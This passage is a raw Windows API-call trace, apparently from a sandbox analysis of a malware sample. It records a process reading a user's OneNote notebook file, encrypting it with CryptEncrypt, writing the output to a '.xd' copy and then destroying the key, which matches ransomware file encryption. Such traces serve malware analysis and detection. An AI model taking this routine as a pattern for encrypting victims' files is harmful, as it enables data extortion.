dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.242] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.242] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.242] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.243] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.243] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.243] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook")) returned 0x10 [0072.243] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\OneNote Notebooks\\My Notebook\\Quick Notes.one.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\onenote notebooks\\my notebook\\quick notes.one.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.244] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.247] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.247] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.250] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.251] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.252] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.277] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.278] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x7ec8, lpOverlapped=0x0) returned 1 [0072.278] ReadFile (in: hFile=0x3bc, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.287] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.287] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.292] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.292] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.292] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.292] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.292] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.292] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.292] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.292] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.292] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.292] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.293] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.293] CryptGetKeyParam (in: hKey=0x164c3f0, dwParam=0x7, pbData=0x1629520, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629520*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.293] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.293] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.293] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.293] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.293] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.293] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.293] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.294] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.294] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.294] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.299] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.299] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16216a8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.299] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.300] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x57ec8, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x57ed0) returned 1 [0072.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.300] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.300] CharLowerBuffW (in: lpsz="byte[360145]", cchLength=0xc | out: lpsz="byte[360145]") returned 0xc [0072.302] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.309] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.309] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.309] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.309] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ab0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.310] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.310] CryptEncrypt (in: hKey=0x164c3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4e30048*, pdwDataLen=0x130e618*=0x57ec8, dwBufLen=0x57ed0 | out: pbData=0x4e30048*, pdwDataLen=0x130e618*=0x57ed0) returned 1 [0072.310] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.311] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.311] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.311] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.311] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.311] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.311] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.311] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.312] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.346] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.350] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x57ed0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x57ed0, lpOverlapped=0x0) returned 1 [0072.356] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.361] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.361] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.361] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.361] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.361] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.361] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.361] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.362] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.362] CryptDestroyKey (hKey=0x164c3f0) returned 1 [0072.362] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.362] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.362] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.362] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.362] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.362] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.362] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.362] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.362] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.362] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.362] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.362] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.363] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.363] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.363] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.363] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.363] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.363] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.363] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.363] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.363] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.363] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.363] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.363] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.363] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.363] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.363] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.363] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.363] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0072.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164dfb0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0072.364] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0072.364] CryptReleaseContext (hProv=0x17aa230, dwFlags=0x0) returned 1 [0072.364] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.364] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.364] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.364] FreeLibrary (hLibModule=0x74c60000) returned 1 [0072.364] 